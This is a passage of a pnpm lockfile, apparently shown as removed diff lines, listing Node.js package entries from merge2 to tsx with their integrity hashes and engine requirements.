'>=10'} - - merge2@1.4.1: - resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} - engines: {node: '>= 8'} - - micromatch@4.0.8: - resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} - engines: {node: '>=8.6'} - - mime@3.0.0: - resolution: {integrity: sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==} - engines: {node: '>=10.0.0'} - hasBin: true - - mimic-fn@2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} - engines: {node: '>=6'} - - minimatch@9.0.5: - resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} - engines: {node: '>=16 || 14 >=14.17'} - - minimist@1.2.8: - resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} - - minipass@7.1.2: - resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==} - engines: {node: '>=16 || 14 >=14.17'} - - mri@1.2.0: - resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} - engines: {node: '>=4'} - - mrmime@2.0.1: - resolution: {integrity: sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==} - engines: {node: '>=10'} - - ms@2.1.3: - resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} - - msgpackr-extract@3.0.3: - resolution: {integrity: sha512-P0efT1C9jIdVRefqjzOQ9Xml57zpOXnIuS+csaB4MdZbTdmGDLo8XhzBG1N7aO11gKDDkJvBLULeFTo46wwreA==} - hasBin: true - - msgpackr@1.11.8: - resolution: {integrity: sha512-bC4UGzHhVvgDNS7kn9tV8fAucIYUBuGojcaLiz7v+P63Lmtm0Xeji8B/8tYKddALXxJLpwIeBmUN3u64C4YkRA==} - - msw@2.12.7: - resolution: {integrity: sha512-retd5i3xCZDVWMYjHEVuKTmhqY8lSsxujjVrZiGbbdoxxIBg5S7rCuYy/YQpfrTYIxpd/o0Kyb/3H+1udBMoYg==} - engines: {node: '>=18'} - hasBin: true - peerDependencies: - typescript: '>= 4.8.x' - peerDependenciesMeta: - typescript: - optional: true - - multipasta@0.2.7: - resolution: {integrity: sha512-KPA58d68KgGil15oDqXjkUBEBYc00XvbPj5/X+dyzeo/lWm9Nc25pQRlf1D+gv4OpK7NM0J1odrbu9JNNGvynA==} - - mute-stream@2.0.0: - resolution: {integrity: sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==} - engines: {node: ^18.17.0 || >=20.5.0} - - nanoid@3.3.11: - resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - - node-addon-api@7.1.1: - resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} - - node-gyp-build-optional-packages@5.2.2: - resolution: {integrity: sha512-s+w+rBWnpTMwSFbaE0UXsRlg7hU4FjekKU4eyAih5T8nJuNZT1nNsskXpxmeqSK9UzkBl6UgRlnKc8hz8IEqOw==} - hasBin: true - - on-exit-leak-free@2.1.2: - resolution: {integrity: sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==} - engines: {node: '>=14.0.0'} - - once@1.4.0: - resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} - - onetime@5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} - engines: {node: '>=6'} - - open@10.2.0: - resolution: {integrity: sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==} - engines: {node: '>=18'} - - outdent@0.5.0: - resolution: {integrity: sha512-/jHxFIzoMXdqPzTaCpFzAAWhpkSjZPF4Vsn6jAfNpmbH/ymsmd7Qc6VE9BGn0L6YMj6uwpQLxCECpus4ukKS9Q==} - - outvariant@1.4.3: - resolution: {integrity: sha512-+Sl2UErvtsoajRDKCE5/dBz4DIvHXQQnAxtQTF04OJxY0+DyZXSo5P5Bb7XYWOh81syohlYL24hbDwxedPUJCA==} - - p-filter@2.1.0: - resolution: {integrity: sha512-ZBxxZ5sL2HghephhpGAQdoskxplTwr7ICaehZwLIlfL6acuVgZPm8yBNuRAFBGEqtD/hmUeq9eqLg2ys9Xr/yw==} - engines: {node: '>=8'} - - p-limit@2.3.0: - resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} - engines: {node: '>=6'} - - p-locate@4.1.0: - resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} - engines: {node: '>=8'} - - p-map@2.1.0: - resolution: {integrity: sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==} - engines: {node: '>=6'} - - p-try@2.2.0: - resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} - engines: {node: '>=6'} - - package-json-from-dist@1.0.1: - resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==} - - package-manager-detector@0.2.11: - resolution: {integrity: sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==} - - patch-console@2.0.0: - resolution: {integrity: sha512-0YNdUceMdaQwoKce1gatDScmMo5pu/tfABfnzEqeG0gtTmd7mh/WcwgUjtAeOU7N8nFFlbQBnFK2gXW5fGvmMA==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - path-exists@4.0.0: - resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} - engines: {node: '>=8'} - - path-key@3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} - engines: {node: '>=8'} - - path-scurry@1.11.1: - resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} - engines: {node: '>=16 || 14 >=14.18'} - - path-to-regexp@6.3.0: - resolution: {integrity: sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==} - - path-type@4.0.0: - resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} - engines: {node: '>=8'} - - pathe@2.0.3: - resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} - - pathval@2.0.1: - resolution: {integrity: sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==} - engines: {node: '>= 14.16'} - - picocolors@1.1.1: - resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} - - picomatch@2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} - engines: {node: '>=8.6'} - - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} - engines: {node: '>=12'} - - pify@4.0.1: - resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==} - engines: {node: '>=6'} - - pino-abstract-transport@2.0.0: - resolution: {integrity: sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==} - - pino-abstract-transport@3.0.0: - resolution: {integrity: sha512-wlfUczU+n7Hy/Ha5j9a/gZNy7We5+cXp8YL+X+PG8S0KXxw7n/JXA3c46Y0zQznIJ83URJiwy7Lh56WLokNuxg==} - - pino-pretty@13.1.3: - resolution: {integrity: sha512-ttXRkkOz6WWC95KeY9+xxWL6AtImwbyMHrL1mSwqwW9u+vLp/WIElvHvCSDg0xO/Dzrggz1zv3rN5ovTRVowKg==} - hasBin: true - - pino-std-serializers@7.0.0: - resolution: {integrity: sha512-e906FRY0+tV27iq4juKzSYPbUj2do2X2JX4EzSca1631EB2QJQUqGbDuERal7LCtOpxl6x3+nvo9NPZcmjkiFA==} - - pino@9.14.0: - resolution: {integrity: sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==} - hasBin: true - - postcss@8.5.6: - resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} - engines: {node: ^10 || ^12 || >=14} - - prettier@2.8.8: - resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} - engines: {node: '>=10.13.0'} - hasBin: true - - process-warning@5.0.0: - resolution: {integrity: sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==} - - pump@3.0.3: - resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==} - - pure-rand@6.1.0: - resolution: {integrity: sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==} - - quansync@0.2.11: - resolution: {integrity: sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==} - - queue-microtask@1.2.3: - resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} - - quick-format-unescaped@4.0.4: - resolution: {integrity: sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==} - - react-reconciler@0.29.2: - resolution: {integrity: sha512-zZQqIiYgDCTP/f1N/mAR10nJGrPD2ZR+jDSEsKWJHYC7Cm2wodlwbR3upZRdC3cjIjSlTLNVyO7Iu0Yy7t2AYg==} - engines: {node: '>=0.10.0'} - peerDependencies: - react: ^18.3.1 - - react@18.3.1: - resolution: {integrity: sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==} - engines: {node: '>=0.10.0'} - - read-yaml-file@1.1.0: - resolution: {integrity: sha512-VIMnQi/Z4HT2Fxuwg5KrY174U1VdUIASQVWXXyqtNRtxSr9IYkn1rsI6Tb6HsrHCmB7gVpNwX6JxPTHcH6IoTA==} - engines: {node: '>=6'} - - real-require@0.2.0: - resolution: {integrity: sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==} - engines: {node: '>= 12.13.0'} - - require-directory@2.1.1: - resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} - engines: {node: '>=0.10.0'} - - resolve-from@5.0.0: - resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} - engines: {node: '>=8'} - - resolve-pkg-maps@1.0.0: - resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} - - restore-cursor@4.0.0: - resolution: {integrity: sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - rettime@0.7.0: - resolution: {integrity: sha512-LPRKoHnLKd/r3dVxcwO7vhCW+orkOGj9ViueosEBK6ie89CijnfRlhaDhHq/3Hxu4CkWQtxwlBG0mzTQY6uQjw==} - - reusify@1.1.0: - resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} - engines: {iojs: '>=1.0.0', node: '>=0.10.0'} - - rollup@4.55.1: - resolution: {integrity: sha512-wDv/Ht1BNHB4upNbK74s9usvl7hObDnvVzknxqY/E/O3X6rW1U1rV1aENEfJ54eFZDTNo7zv1f5N4edCluH7+A==} - engines: {node: '>=18.0.0', npm: '>=8.0.0'} - hasBin: true - - run-applescript@7.1.0: - resolution: {integrity: sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==} - engines: {node: '>=18'} - - run-parallel@1.2.0: - resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} - - safe-stable-stringify@2.5.0: - resolution: {integrity: sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==} - engines: {node: '>=10'} - - safer-buffer@2.1.2: - resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} - - scheduler@0.23.2: - resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==} - - secure-json-parse@4.1.0: - resolution: {integrity: sha512-l4KnYfEyqYJxDwlNVyRfO2E4NTHfMKAWdUuA8J0yve2Dz/E/PdBepY03RvyJpssIpRFwJoCD55wA+mEDs6ByWA==} - - semver@7.7.3: - resolution: {integrity: sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==} - engines: {node: '>=10'} - hasBin: true - - shebang-command@2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} - engines: {node: '>=8'} - - shebang-regex@3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} - engines: {node: '>=8'} - - siginfo@2.0.0: - resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} - - signal-exit@3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - - signal-exit@4.1.0: - resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} - engines: {node: '>=14'} - - sirv@3.0.2: - resolution: {integrity: sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==} - engines: {node: '>=18'} - - sisteransi@1.0.5: - resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==} - - slash@3.0.0: - resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} - engines: {node: '>=8'} - - slice-ansi@5.0.0: - resolution: {integrity: sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==} - engines: {node: '>=12'} - - slice-ansi@7.1.2: - resolution: {integrity: sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==} - engines: {node: '>=18'} - - sonic-boom@4.2.0: - resolution: {integrity: sha512-INb7TM37/mAcsGmc9hyyI6+QR3rR1zVRu36B0NeGXKnOOLiZOfER5SA+N7X7k3yUYRzLWafduTDvJAfDswwEww==} - - source-map-js@1.2.1: - resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} - engines: {node: '>=0.10.0'} - - spawndamnit@3.0.1: - resolution: {integrity: sha512-MmnduQUuHCoFckZoWnXsTg7JaiLBJrKFj9UI2MbRPGaJeVpsLcVBu6P/IGZovziM/YBsellCmsprgNA+w0CzVg==} - - split2@4.2.0: - resolution: {integrity: sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==} - engines: {node: '>= 10.x'} - - sprintf-js@1.0.3: - resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} - - stack-utils@2.0.6: - resolution: {integrity: sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==} - engines: {node: '>=10'} - - stackback@0.0.2: - resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==} - - statuses@2.0.2: - resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} - engines: {node: '>= 0.8'} - - std-env@3.10.0: - resolution: {integrity: sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==} - - strict-event-emitter@0.5.1: - resolution: {integrity: sha512-vMgjE/GGEPEFnhFub6pa4FmJBRBVOLpIII2hvCZ8Kzb7K0hlHo7mQv6xYrBvCL2LtAIBwFUK8wvuJgTVSQ5MFQ==} - - string-width@4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} - - string-width@5.1.2: - resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} - engines: {node: '>=12'} - - string-width@7.2.0: - resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} - engines: {node: '>=18'} - - strip-ansi@6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} - engines: {node: '>=8'} - - strip-ansi@7.1.2: - resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==} - engines: {node: '>=12'} - - strip-bom@3.0.0: - resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} - engines: {node: '>=4'} - - strip-json-comments@5.0.3: - resolution: {integrity: sha512-1tB5mhVo7U+ETBKNf92xT4hrQa3pm0MZ0PQvuDnWgAAGHDsfp4lPSpiS6psrSiet87wyGPh9ft6wmhOMQ0hDiw==} - engines: {node: '>=14.16'} - - strip-literal@3.1.0: - resolution: {integrity: sha512-8r3mkIM/2+PpjHoOtiAW8Rg3jJLHaV7xPwG+YRGrv6FP0wwk/toTpATxWYOW0BKdWwl82VT2tFYi5DlROa0Mxg==} - - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - - tagged-tag@1.0.0: - resolution: {integrity: sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==} - engines: {node: '>=20'} - - term-size@2.2.1: - resolution: {integrity: sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==} - engines: {node: '>=8'} - - test-exclude@7.0.1: - resolution: {integrity: sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==} - engines: {node: '>=18'} - - thread-stream@3.1.0: - resolution: {integrity: sha512-OqyPZ9u96VohAyMfJykzmivOrY2wfMSf3C5TtFJVgN+Hm6aj+voFhlK+kZEIv2FBh1X6Xp3DlnCOfEQ3B2J86A==} - - tinybench@2.9.0: - resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==} - - tinyexec@0.3.2: - resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==} - - tinyglobby@0.2.15: - resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} - engines: {node: '>=12.0.0'} - - tinypool@1.1.1: - resolution: {integrity: sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==} - engines: {node: ^18.0.0 || >=20.0.0} - - tinyrainbow@2.0.0: - resolution: {integrity: sha512-op4nsTR47R6p0vMUUoYl/a+ljLFVtlfaXkLQmqfLR1qHma1h/ysYk4hEXZ880bf2CYgTskvTa/e196Vd5dDQXw==} - engines: {node: '>=14.0.0'} - - tinyspy@4.0.4: - resolution: {integrity: sha512-azl+t0z7pw/z958Gy9svOTuzqIk6xq+NSheJzn5MMWtWTFywIacg2wUlzKFGtt3cthx0r2SxMK0yzJOR0IES7Q==} - engines: {node: '>=14.0.0'} - - tldts-core@7.0.19: - resolution: {integrity: sha512-lJX2dEWx0SGH4O6p+7FPwYmJ/bu1JbcGJ8RLaG9b7liIgZ85itUVEPbMtWRVrde/0fnDPEPHW10ZsKW3kVsE9A==} - - tldts@7.0.19: - resolution: {integrity: sha512-8PWx8tvC4jDB39BQw1m4x8y5MH1BcQ5xHeL2n7UVFulMPH/3Q0uiamahFJ3lXA0zO2SUyRXuVVbWSDmstlt9YA==} - hasBin: true - - to-regex-range@5.0.1: - resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} - engines: {node: '>=8.0'} - - to-rotated@1.0.0: - resolution: {integrity: sha512-KsEID8AfgUy+pxVRLsWp0VzCa69wxzUDZnzGbyIST/bcgcrMvTYoFBX/QORH4YApoD89EDuUovx4BTdpOn319Q==} - engines: {node: '>=18'} - - toggle-selection@1.0.6: - resolution: {integrity: sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==} - - toml@3.0.0: - resolution: {integrity: sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==} - - totalist@3.0.1: - resolution: {integrity: sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==} - engines: {node: '>=6'} - - tough-cookie@6.0.0: - resolution: {integrity: sha512-kXuRi1mtaKMrsLUxz3sQYvVl37B0Ns6MzfrtV5DvJceE9bPyspOqk9xxv7XbZWcfLWbFmm997vl83qUWVJA64w==} - engines: {node: '>=16'} - - tsx@4.21.0: - resolution: {integrity: sha512-5C1sg4USs1lfG0GFb2RLXsdpXqBSEhAaA/0kPL01wxzpMqLILNxIxIOKiILz+cdg/pLnOUxFYOR5yhHU666wbw==} - engines: {node: '>=18.0.0'} - hasBin: true - - 